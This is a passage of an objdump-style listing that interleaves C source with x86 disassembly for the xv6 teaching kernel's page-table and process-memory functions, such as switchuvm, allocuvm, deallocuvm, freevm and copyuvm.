// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
80107cce: 55 push %ebp
80107ccf: 89 e5 mov %esp,%ebp
80107cd1: 53 push %ebx
80107cd2: 83 ec 14 sub $0x14,%esp
pushcli();
80107cd5: e8 8b d2 ff ff call 80104f65 <pushcli>
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
80107cda: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107ce0: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80107ce7: 83 c2 0c add $0xc,%edx
80107cea: 89 d3 mov %edx,%ebx
80107cec: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80107cf3: 83 c2 0c add $0xc,%edx
80107cf6: c1 ea 10 shr $0x10,%edx
80107cf9: 89 d1 mov %edx,%ecx
80107cfb: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
80107d02: 83 c2 0c add $0xc,%edx
80107d05: c1 ea 18 shr $0x18,%edx
80107d08: 66 c7 80 a4 00 00 00 movw $0x67,0xa4(%eax)
80107d0f: 67 00
80107d11: 66 89 98 a6 00 00 00 mov %bx,0xa6(%eax)
80107d18: 88 88 a8 00 00 00 mov %cl,0xa8(%eax)
80107d1e: 0f b6 88 a9 00 00 00 movzbl 0xa9(%eax),%ecx
80107d25: 83 e1 f0 and $0xfffffff0,%ecx
80107d28: 83 c9 09 or $0x9,%ecx
80107d2b: 88 88 a9 00 00 00 mov %cl,0xa9(%eax)
80107d31: 0f b6 88 a9 00 00 00 movzbl 0xa9(%eax),%ecx
80107d38: 83 c9 10 or $0x10,%ecx
80107d3b: 88 88 a9 00 00 00 mov %cl,0xa9(%eax)
80107d41: 0f b6 88 a9 00 00 00 movzbl 0xa9(%eax),%ecx
80107d48: 83 e1 9f and $0xffffff9f,%ecx
80107d4b: 88 88 a9 00 00 00 mov %cl,0xa9(%eax)
80107d51: 0f b6 88 a9 00 00 00 movzbl 0xa9(%eax),%ecx
80107d58: 83 c9 80 or $0xffffff80,%ecx
80107d5b: 88 88 a9 00 00 00 mov %cl,0xa9(%eax)
80107d61: 0f b6 88 aa 00 00 00 movzbl 0xaa(%eax),%ecx
80107d68: 83 e1 f0 and $0xfffffff0,%ecx
80107d6b: 88 88 aa 00 00 00 mov %cl,0xaa(%eax)
80107d71: 0f b6 88 aa 00 00 00 movzbl 0xaa(%eax),%ecx
80107d78: 83 e1 ef and $0xffffffef,%ecx
80107d7b: 88 88 aa 00 00 00 mov %cl,0xaa(%eax)
80107d81: 0f b6 88 aa 00 00 00 movzbl 0xaa(%eax),%ecx
80107d88: 83 e1 df and $0xffffffdf,%ecx
80107d8b: 88 88 aa 00 00 00 mov %cl,0xaa(%eax)
80107d91: 0f b6 88 aa 00 00 00 movzbl 0xaa(%eax),%ecx
80107d98: 83 c9 40 or $0x40,%ecx
80107d9b: 88 88 aa 00 00 00 mov %cl,0xaa(%eax)
80107da1: 0f b6 88 aa 00 00 00 movzbl 0xaa(%eax),%ecx
80107da8: 83 e1 7f and $0x7f,%ecx
80107dab: 88 88 aa 00 00 00 mov %cl,0xaa(%eax)
80107db1: 88 90 ab 00 00 00 mov %dl,0xab(%eax)
cpu->gdt[SEG_TSS].s = 0;
80107db7: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107dbd: 0f b6 90 a9 00 00 00 movzbl 0xa9(%eax),%edx
80107dc4: 83 e2 ef and $0xffffffef,%edx
80107dc7: 88 90 a9 00 00 00 mov %dl,0xa9(%eax)
cpu->ts.ss0 = SEG_KDATA << 3;
80107dcd: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107dd3: 66 c7 40 14 10 00 movw $0x10,0x14(%eax)
cpu->ts.esp0 = (uint)proc->kstack + KSTACKSIZE;
80107dd9: 65 a1 00 00 00 00 mov %gs:0x0,%eax
80107ddf: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
80107de6: 8b 52 08 mov 0x8(%edx),%edx
80107de9: 81 c2 00 10 00 00 add $0x1000,%edx
80107def: 89 50 10 mov %edx,0x10(%eax)
ltr(SEG_TSS << 3);
80107df2: c7 04 24 30 00 00 00 movl $0x30,(%esp)
80107df9: e8 96 f7 ff ff call 80107594 <ltr>
if(p->pgdir == 0)
80107dfe: 8b 45 08 mov 0x8(%ebp),%eax
80107e01: 8b 40 04 mov 0x4(%eax),%eax
80107e04: 85 c0 test %eax,%eax
80107e06: 75 0c jne 80107e14 <switchuvm+0x146>
panic("switchuvm: no pgdir");
80107e08: c7 04 24 8f 8c 10 80 movl $0x80108c8f,(%esp)
80107e0f: e8 26 87 ff ff call 8010053a <panic>
// lcr3(v2p(p->pgdir)); // switch to new address space
flushTLB();
80107e14: e8 c3 07 00 00 call 801085dc <flushTLB>
popcli();
80107e19: e8 8b d1 ff ff call 80104fa9 <popcli>
}
80107e1e: 83 c4 14 add $0x14,%esp
80107e21: 5b pop %ebx
80107e22: 5d pop %ebp
80107e23: c3 ret
80107e24 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80107e24: 55 push %ebp
80107e25: 89 e5 mov %esp,%ebp
80107e27: 83 ec 38 sub $0x38,%esp
char *mem;
if(sz >= PGSIZE)
80107e2a: 81 7d 10 ff 0f 00 00 cmpl $0xfff,0x10(%ebp)
80107e31: 76 0c jbe 80107e3f <inituvm+0x1b>
panic("inituvm: more than a page");
80107e33: c7 04 24 a3 8c 10 80 movl $0x80108ca3,(%esp)
80107e3a: e8 fb 86 ff ff call 8010053a <panic>
mem = kalloc();
80107e3f: e8 9e ac ff ff call 80102ae2 <kalloc>
80107e44: 89 45 f4 mov %eax,-0xc(%ebp)
memset(mem, 0, PGSIZE);
80107e47: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107e4e: 00
80107e4f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107e56: 00
80107e57: 8b 45 f4 mov -0xc(%ebp),%eax
80107e5a: 89 04 24 mov %eax,(%esp)
80107e5d: e8 03 d2 ff ff call 80105065 <memset>
mappages(pgdir, 0, PGSIZE, v2p(mem), PTE_W|PTE_U);
80107e62: 8b 45 f4 mov -0xc(%ebp),%eax
80107e65: 89 04 24 mov %eax,(%esp)
80107e68: e8 5d f7 ff ff call 801075ca <v2p>
80107e6d: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
80107e74: 00
80107e75: 89 44 24 0c mov %eax,0xc(%esp)
80107e79: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80107e80: 00
80107e81: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107e88: 00
80107e89: 8b 45 08 mov 0x8(%ebp),%eax
80107e8c: 89 04 24 mov %eax,(%esp)
80107e8f: e8 a4 fc ff ff call 80107b38 <mappages>
memmove(mem, init, sz);
80107e94: 8b 45 10 mov 0x10(%ebp),%eax
80107e97: 89 44 24 08 mov %eax,0x8(%esp)
80107e9b: 8b 45 0c mov 0xc(%ebp),%eax
80107e9e: 89 44 24 04 mov %eax,0x4(%esp)
80107ea2: 8b 45 f4 mov -0xc(%ebp),%eax
80107ea5: 89 04 24 mov %eax,(%esp)
80107ea8: e8 87 d2 ff ff call 80105134 <memmove>
}
80107ead: c9 leave
80107eae: c3 ret
80107eaf <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
80107eaf: 55 push %ebp
80107eb0: 89 e5 mov %esp,%ebp
80107eb2: 53 push %ebx
80107eb3: 83 ec 24 sub $0x24,%esp
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
80107eb6: 8b 45 0c mov 0xc(%ebp),%eax
80107eb9: 25 ff 0f 00 00 and $0xfff,%eax
80107ebe: 85 c0 test %eax,%eax
80107ec0: 74 0c je 80107ece <loaduvm+0x1f>
panic("loaduvm: addr must be page aligned");
80107ec2: c7 04 24 c0 8c 10 80 movl $0x80108cc0,(%esp)
80107ec9: e8 6c 86 ff ff call 8010053a <panic>
for(i = 0; i < sz; i += PGSIZE){
80107ece: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80107ed5: e9 a9 00 00 00 jmp 80107f83 <loaduvm+0xd4>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
80107eda: 8b 45 f4 mov -0xc(%ebp),%eax
80107edd: 8b 55 0c mov 0xc(%ebp),%edx
80107ee0: 01 d0 add %edx,%eax
80107ee2: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80107ee9: 00
80107eea: 89 44 24 04 mov %eax,0x4(%esp)
80107eee: 8b 45 08 mov 0x8(%ebp),%eax
80107ef1: 89 04 24 mov %eax,(%esp)
80107ef4: e8 9d fb ff ff call 80107a96 <walkpgdir>
80107ef9: 89 45 ec mov %eax,-0x14(%ebp)
80107efc: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80107f00: 75 0c jne 80107f0e <loaduvm+0x5f>
panic("loaduvm: address should exist");
80107f02: c7 04 24 e3 8c 10 80 movl $0x80108ce3,(%esp)
80107f09: e8 2c 86 ff ff call 8010053a <panic>
pa = PTE_ADDR(*pte);
80107f0e: 8b 45 ec mov -0x14(%ebp),%eax
80107f11: 8b 00 mov (%eax),%eax
80107f13: 25 00 f0 ff ff and $0xfffff000,%eax
80107f18: 89 45 e8 mov %eax,-0x18(%ebp)
if(sz - i < PGSIZE)
80107f1b: 8b 45 f4 mov -0xc(%ebp),%eax
80107f1e: 8b 55 18 mov 0x18(%ebp),%edx
80107f21: 29 c2 sub %eax,%edx
80107f23: 89 d0 mov %edx,%eax
80107f25: 3d ff 0f 00 00 cmp $0xfff,%eax
80107f2a: 77 0f ja 80107f3b <loaduvm+0x8c>
n = sz - i;
80107f2c: 8b 45 f4 mov -0xc(%ebp),%eax
80107f2f: 8b 55 18 mov 0x18(%ebp),%edx
80107f32: 29 c2 sub %eax,%edx
80107f34: 89 d0 mov %edx,%eax
80107f36: 89 45 f0 mov %eax,-0x10(%ebp)
80107f39: eb 07 jmp 80107f42 <loaduvm+0x93>
else
n = PGSIZE;
80107f3b: c7 45 f0 00 10 00 00 movl $0x1000,-0x10(%ebp)
if(readi(ip, p2v(pa), offset+i, n) != n)
80107f42: 8b 45 f4 mov -0xc(%ebp),%eax
80107f45: 8b 55 14 mov 0x14(%ebp),%edx
80107f48: 8d 1c 02 lea (%edx,%eax,1),%ebx
80107f4b: 8b 45 e8 mov -0x18(%ebp),%eax
80107f4e: 89 04 24 mov %eax,(%esp)
80107f51: e8 81 f6 ff ff call 801075d7 <p2v>
80107f56: 8b 55 f0 mov -0x10(%ebp),%edx
80107f59: 89 54 24 0c mov %edx,0xc(%esp)
80107f5d: 89 5c 24 08 mov %ebx,0x8(%esp)
80107f61: 89 44 24 04 mov %eax,0x4(%esp)
80107f65: 8b 45 10 mov 0x10(%ebp),%eax
80107f68: 89 04 24 mov %eax,(%esp)
80107f6b: e8 f8 9d ff ff call 80101d68 <readi>
80107f70: 3b 45 f0 cmp -0x10(%ebp),%eax
80107f73: 74 07 je 80107f7c <loaduvm+0xcd>
return -1;
80107f75: b8 ff ff ff ff mov $0xffffffff,%eax
80107f7a: eb 18 jmp 80107f94 <loaduvm+0xe5>
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
80107f7c: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80107f83: 8b 45 f4 mov -0xc(%ebp),%eax
80107f86: 3b 45 18 cmp 0x18(%ebp),%eax
80107f89: 0f 82 4b ff ff ff jb 80107eda <loaduvm+0x2b>
else
n = PGSIZE;
if(readi(ip, p2v(pa), offset+i, n) != n)
return -1;
}
return 0;
80107f8f: b8 00 00 00 00 mov $0x0,%eax
}
80107f94: 83 c4 24 add $0x24,%esp
80107f97: 5b pop %ebx
80107f98: 5d pop %ebp
80107f99: c3 ret
80107f9a <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80107f9a: 55 push %ebp
80107f9b: 89 e5 mov %esp,%ebp
80107f9d: 83 ec 38 sub $0x38,%esp
char *mem;
uint a;
if(newsz >= KERNBASE)
80107fa0: 8b 45 10 mov 0x10(%ebp),%eax
80107fa3: 85 c0 test %eax,%eax
80107fa5: 79 0a jns 80107fb1 <allocuvm+0x17>
return 0;
80107fa7: b8 00 00 00 00 mov $0x0,%eax
80107fac: e9 c1 00 00 00 jmp 80108072 <allocuvm+0xd8>
if(newsz < oldsz)
80107fb1: 8b 45 10 mov 0x10(%ebp),%eax
80107fb4: 3b 45 0c cmp 0xc(%ebp),%eax
80107fb7: 73 08 jae 80107fc1 <allocuvm+0x27>
return oldsz;
80107fb9: 8b 45 0c mov 0xc(%ebp),%eax
80107fbc: e9 b1 00 00 00 jmp 80108072 <allocuvm+0xd8>
a = PGROUNDUP(oldsz);
80107fc1: 8b 45 0c mov 0xc(%ebp),%eax
80107fc4: 05 ff 0f 00 00 add $0xfff,%eax
80107fc9: 25 00 f0 ff ff and $0xfffff000,%eax
80107fce: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < newsz; a += PGSIZE){
80107fd1: e9 8d 00 00 00 jmp 80108063 <allocuvm+0xc9>
mem = kalloc();
80107fd6: e8 07 ab ff ff call 80102ae2 <kalloc>
80107fdb: 89 45 f0 mov %eax,-0x10(%ebp)
if(mem == 0){
80107fde: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80107fe2: 75 2c jne 80108010 <allocuvm+0x76>
cprintf("allocuvm out of memory\n");
80107fe4: c7 04 24 01 8d 10 80 movl $0x80108d01,(%esp)
80107feb: e8 b0 83 ff ff call 801003a0 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
80107ff0: 8b 45 0c mov 0xc(%ebp),%eax
80107ff3: 89 44 24 08 mov %eax,0x8(%esp)
80107ff7: 8b 45 10 mov 0x10(%ebp),%eax
80107ffa: 89 44 24 04 mov %eax,0x4(%esp)
80107ffe: 8b 45 08 mov 0x8(%ebp),%eax
80108001: 89 04 24 mov %eax,(%esp)
80108004: e8 6b 00 00 00 call 80108074 <deallocuvm>
return 0;
80108009: b8 00 00 00 00 mov $0x0,%eax
8010800e: eb 62 jmp 80108072 <allocuvm+0xd8>
}
memset(mem, 0, PGSIZE);
80108010: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80108017: 00
80108018: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010801f: 00
80108020: 8b 45 f0 mov -0x10(%ebp),%eax
80108023: 89 04 24 mov %eax,(%esp)
80108026: e8 3a d0 ff ff call 80105065 <memset>
mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U);
8010802b: 8b 45 f0 mov -0x10(%ebp),%eax
8010802e: 89 04 24 mov %eax,(%esp)
80108031: e8 94 f5 ff ff call 801075ca <v2p>
80108036: 8b 55 f4 mov -0xc(%ebp),%edx
80108039: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
80108040: 00
80108041: 89 44 24 0c mov %eax,0xc(%esp)
80108045: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010804c: 00
8010804d: 89 54 24 04 mov %edx,0x4(%esp)
80108051: 8b 45 08 mov 0x8(%ebp),%eax
80108054: 89 04 24 mov %eax,(%esp)
80108057: e8 dc fa ff ff call 80107b38 <mappages>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
8010805c: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108063: 8b 45 f4 mov -0xc(%ebp),%eax
80108066: 3b 45 10 cmp 0x10(%ebp),%eax
80108069: 0f 82 67 ff ff ff jb 80107fd6 <allocuvm+0x3c>
return 0;
}
memset(mem, 0, PGSIZE);
mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U);
}
return newsz;
8010806f: 8b 45 10 mov 0x10(%ebp),%eax
}
80108072: c9 leave
80108073: c3 ret
80108074 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
80108074: 55 push %ebp
80108075: 89 e5 mov %esp,%ebp
80108077: 83 ec 28 sub $0x28,%esp
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
8010807a: 8b 45 10 mov 0x10(%ebp),%eax
8010807d: 3b 45 0c cmp 0xc(%ebp),%eax
80108080: 72 08 jb 8010808a <deallocuvm+0x16>
return oldsz;
80108082: 8b 45 0c mov 0xc(%ebp),%eax
80108085: e9 a4 00 00 00 jmp 8010812e <deallocuvm+0xba>
a = PGROUNDUP(newsz);
8010808a: 8b 45 10 mov 0x10(%ebp),%eax
8010808d: 05 ff 0f 00 00 add $0xfff,%eax
80108092: 25 00 f0 ff ff and $0xfffff000,%eax
80108097: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < oldsz; a += PGSIZE){
8010809a: e9 80 00 00 00 jmp 8010811f <deallocuvm+0xab>
pte = walkpgdir(pgdir, (char*)a, 0);
8010809f: 8b 45 f4 mov -0xc(%ebp),%eax
801080a2: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801080a9: 00
801080aa: 89 44 24 04 mov %eax,0x4(%esp)
801080ae: 8b 45 08 mov 0x8(%ebp),%eax
801080b1: 89 04 24 mov %eax,(%esp)
801080b4: e8 dd f9 ff ff call 80107a96 <walkpgdir>
801080b9: 89 45 f0 mov %eax,-0x10(%ebp)
if(!pte)
801080bc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801080c0: 75 09 jne 801080cb <deallocuvm+0x57>
a += (NPTENTRIES - 1) * PGSIZE;
801080c2: 81 45 f4 00 f0 3f 00 addl $0x3ff000,-0xc(%ebp)
801080c9: eb 4d jmp 80108118 <deallocuvm+0xa4>
else if((*pte & PTE_P) != 0){
801080cb: 8b 45 f0 mov -0x10(%ebp),%eax
801080ce: 8b 00 mov (%eax),%eax
801080d0: 83 e0 01 and $0x1,%eax
801080d3: 85 c0 test %eax,%eax
801080d5: 74 41 je 80108118 <deallocuvm+0xa4>
pa = PTE_ADDR(*pte);
801080d7: 8b 45 f0 mov -0x10(%ebp),%eax
801080da: 8b 00 mov (%eax),%eax
801080dc: 25 00 f0 ff ff and $0xfffff000,%eax
801080e1: 89 45 ec mov %eax,-0x14(%ebp)
if(pa == 0)
801080e4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801080e8: 75 0c jne 801080f6 <deallocuvm+0x82>
panic("kfree");
801080ea: c7 04 24 19 8d 10 80 movl $0x80108d19,(%esp)
801080f1: e8 44 84 ff ff call 8010053a <panic>
char *v = p2v(pa);
801080f6: 8b 45 ec mov -0x14(%ebp),%eax
801080f9: 89 04 24 mov %eax,(%esp)
801080fc: e8 d6 f4 ff ff call 801075d7 <p2v>
80108101: 89 45 e8 mov %eax,-0x18(%ebp)
kfree(v);
80108104: 8b 45 e8 mov -0x18(%ebp),%eax
80108107: 89 04 24 mov %eax,(%esp)
8010810a: e8 3a a9 ff ff call 80102a49 <kfree>
*pte = 0;
8010810f: 8b 45 f0 mov -0x10(%ebp),%eax
80108112: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
80108118: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
8010811f: 8b 45 f4 mov -0xc(%ebp),%eax
80108122: 3b 45 0c cmp 0xc(%ebp),%eax
80108125: 0f 82 74 ff ff ff jb 8010809f <deallocuvm+0x2b>
char *v = p2v(pa);
kfree(v);
*pte = 0;
}
}
return newsz;
8010812b: 8b 45 10 mov 0x10(%ebp),%eax
}
8010812e: c9 leave
8010812f: c3 ret
80108130 <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
80108130: 55 push %ebp
80108131: 89 e5 mov %esp,%ebp
80108133: 83 ec 28 sub $0x28,%esp
uint i;
if(pgdir == 0)
80108136: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
8010813a: 75 0c jne 80108148 <freevm+0x18>
panic("freevm: no pgdir");
8010813c: c7 04 24 1f 8d 10 80 movl $0x80108d1f,(%esp)
80108143: e8 f2 83 ff ff call 8010053a <panic>
deallocuvm(pgdir, KERNBASE, 0);
80108148: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010814f: 00
80108150: c7 44 24 04 00 00 00 movl $0x80000000,0x4(%esp)
80108157: 80
80108158: 8b 45 08 mov 0x8(%ebp),%eax
8010815b: 89 04 24 mov %eax,(%esp)
8010815e: e8 11 ff ff ff call 80108074 <deallocuvm>
for(i = 0; i < NPDENTRIES; i++){
80108163: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
8010816a: eb 48 jmp 801081b4 <freevm+0x84>
if(pgdir[i] & PTE_P){
8010816c: 8b 45 f4 mov -0xc(%ebp),%eax
8010816f: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80108176: 8b 45 08 mov 0x8(%ebp),%eax
80108179: 01 d0 add %edx,%eax
8010817b: 8b 00 mov (%eax),%eax
8010817d: 83 e0 01 and $0x1,%eax
80108180: 85 c0 test %eax,%eax
80108182: 74 2c je 801081b0 <freevm+0x80>
char * v = p2v(PTE_ADDR(pgdir[i]));
80108184: 8b 45 f4 mov -0xc(%ebp),%eax
80108187: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
8010818e: 8b 45 08 mov 0x8(%ebp),%eax
80108191: 01 d0 add %edx,%eax
80108193: 8b 00 mov (%eax),%eax
80108195: 25 00 f0 ff ff and $0xfffff000,%eax
8010819a: 89 04 24 mov %eax,(%esp)
8010819d: e8 35 f4 ff ff call 801075d7 <p2v>
801081a2: 89 45 f0 mov %eax,-0x10(%ebp)
kfree(v);
801081a5: 8b 45 f0 mov -0x10(%ebp),%eax
801081a8: 89 04 24 mov %eax,(%esp)
801081ab: e8 99 a8 ff ff call 80102a49 <kfree>
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
801081b0: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801081b4: 81 7d f4 ff 03 00 00 cmpl $0x3ff,-0xc(%ebp)
801081bb: 76 af jbe 8010816c <freevm+0x3c>
if(pgdir[i] & PTE_P){
char * v = p2v(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
801081bd: 8b 45 08 mov 0x8(%ebp),%eax
801081c0: 89 04 24 mov %eax,(%esp)
801081c3: e8 81 a8 ff ff call 80102a49 <kfree>
}
801081c8: c9 leave
801081c9: c3 ret
801081ca <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
801081ca: 55 push %ebp
801081cb: 89 e5 mov %esp,%ebp
801081cd: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
801081d0: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801081d7: 00
801081d8: 8b 45 0c mov 0xc(%ebp),%eax
801081db: 89 44 24 04 mov %eax,0x4(%esp)
801081df: 8b 45 08 mov 0x8(%ebp),%eax
801081e2: 89 04 24 mov %eax,(%esp)
801081e5: e8 ac f8 ff ff call 80107a96 <walkpgdir>
801081ea: 89 45 f4 mov %eax,-0xc(%ebp)
if(pte == 0)
801081ed: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801081f1: 75 0c jne 801081ff <clearpteu+0x35>
panic("clearpteu");
801081f3: c7 04 24 30 8d 10 80 movl $0x80108d30,(%esp)
801081fa: e8 3b 83 ff ff call 8010053a <panic>
*pte &= ~PTE_U;
801081ff: 8b 45 f4 mov -0xc(%ebp),%eax
80108202: 8b 00 mov (%eax),%eax
80108204: 83 e0 fb and $0xfffffffb,%eax
80108207: 89 c2 mov %eax,%edx
80108209: 8b 45 f4 mov -0xc(%ebp),%eax
8010820c: 89 10 mov %edx,(%eax)
}
8010820e: c9 leave
8010820f: c3 ret
80108210 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80108210: 55 push %ebp
80108211: 89 e5 mov %esp,%ebp
80108213: 53 push %ebx
80108214: 83 ec 44 sub $0x44,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80108217: e8 b4 f9 ff ff call 80107bd0 <setupkvm>
8010821c: 89 45 f0 mov %eax,-0x10(%ebp)
8010821f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80108223: 75 0a jne 8010822f <copyuvm+0x1f>
return 0;
80108225: b8 00 00 00 00 mov $0x0,%eax
8010822a: e9 fd 00 00 00 jmp 8010832c <copyuvm+0x11c>
for(i = 0; i < sz; i += PGSIZE){
8010822f: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80108236: e9 d0 00 00 00 jmp 8010830b <copyuvm+0xfb>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
8010823b: 8b 45 f4 mov -0xc(%ebp),%eax
8010823e: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108245: 00
80108246: 89 44 24 04 mov %eax,0x4(%esp)
8010824a: 8b 45 08 mov 0x8(%ebp),%eax
8010824d: 89 04 24 mov %eax,(%esp)
80108250: e8 41 f8 ff ff call 80107a96 <walkpgdir>
80108255: 89 45 ec mov %eax,-0x14(%ebp)
80108258: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8010825c: 75 0c jne 8010826a <copyuvm+0x5a>
panic("copyuvm: pte should exist");
8010825e: c7 04 24 3a 8d 10 80 movl $0x80108d3a,(%esp)
80108265: e8 d0 82 ff ff call 8010053a <panic>
if(!(*pte & PTE_P))
8010826a: 8b 45 ec mov -0x14(%ebp),%eax
8010826d: 8b 00 mov (%eax),%eax
8010826f: 83 e0 01 and $0x1,%eax
80108272: 85 c0 test %eax,%eax
80108274: 75 0c jne 80108282 <copyuvm+0x72>
panic("copyuvm: page not present");
80108276: c7 04 24 54 8d 10 80 movl $0x80108d54,(%esp)
8010827d: e8 b8 82 ff ff call 8010053a <panic>
pa = PTE_ADDR(*pte);
80108282: 8b 45 ec mov -0x14(%ebp),%eax
80108285: 8b 00 mov (%eax),%eax
80108287: 25 00 f0 ff ff and $0xfffff000,%eax
8010828c: 89 45 e8 mov %eax,-0x18(%ebp)
flags = PTE_FLAGS(*pte);
8010828f: 8b 45 ec mov -0x14(%ebp),%eax
80108292: 8b 00 mov (%eax),%eax
80108294: 25 ff 0f 00 00 and $0xfff,%eax
80108299: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mem = kalloc()) == 0)
8010829c: e8 41 a8 ff ff call 80102ae2 <kalloc>
801082a1: 89 45 e0 mov %eax,-0x20(%ebp)
801082a4: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
801082a8: 75 02 jne 801082ac <copyuvm+0x9c>
goto bad;
801082aa: eb 70 jmp 8010831c <copyuvm+0x10c>
memmove(mem, (char*)p2v(pa), PGSIZE);
801082ac: 8b 45 e8 mov -0x18(%ebp),%eax
801082af: 89 04 24 mov %eax,(%esp)
801082b2: e8 20 f3 ff ff call 801075d7 <p2v>
801082b7: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801082be: 00
801082bf: 89 44 24 04 mov %eax,0x4(%esp)
801082c3: 8b 45 e0 mov -0x20(%ebp),%eax
801082c6: 89 04 24 mov %eax,(%esp)
801082c9: e8 66 ce ff ff call 80105134 <memmove>
if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0)
801082ce: 8b 5d e4 mov -0x1c(%ebp),%ebx
801082d1: 8b 45 e0 mov -0x20(%ebp),%eax
801082d4: 89 04 24 mov %eax,(%esp)
801082d7: e8 ee f2 ff ff call 801075ca <v2p>
801082dc: 8b 55 f4 mov -0xc(%ebp),%edx
801082df: 89 5c 24 10 mov %ebx,0x10(%esp)
801082e3: 89 44 24 0c mov %eax,0xc(%esp)
801082e7: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801082ee: 00
801082ef: 89 54 24 04 mov %edx,0x4(%esp)
801082f3: 8b 45 f0 mov -0x10(%ebp),%eax
801082f6: 89 04 24 mov %eax,(%esp)
801082f9: e8 3a f8 ff ff call 80107b38 <mappages>
801082fe: 85 c0 test %eax,%eax
80108300: 79 02 jns 80108304 <copyuvm+0xf4>
goto bad;
80108302: eb 18 jmp 8010831c <copyuvm+0x10c>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80108304: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
8010830b: 8b 45 f4 mov -0xc(%ebp),%eax
8010830e: 3b 45 0c cmp 0xc(%ebp),%eax
80108311: 0f 82 24 ff ff ff jb 8010823b <copyuvm+0x2b>
goto bad;
memmove(mem, (char*)p2v(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0)
goto bad;
}
return d;
80108317: 8b 45 f0 mov -0x10(%ebp),%eax
8010831a: eb 10 jmp 8010832c <copyuvm+0x11c>
bad:
freevm(d);
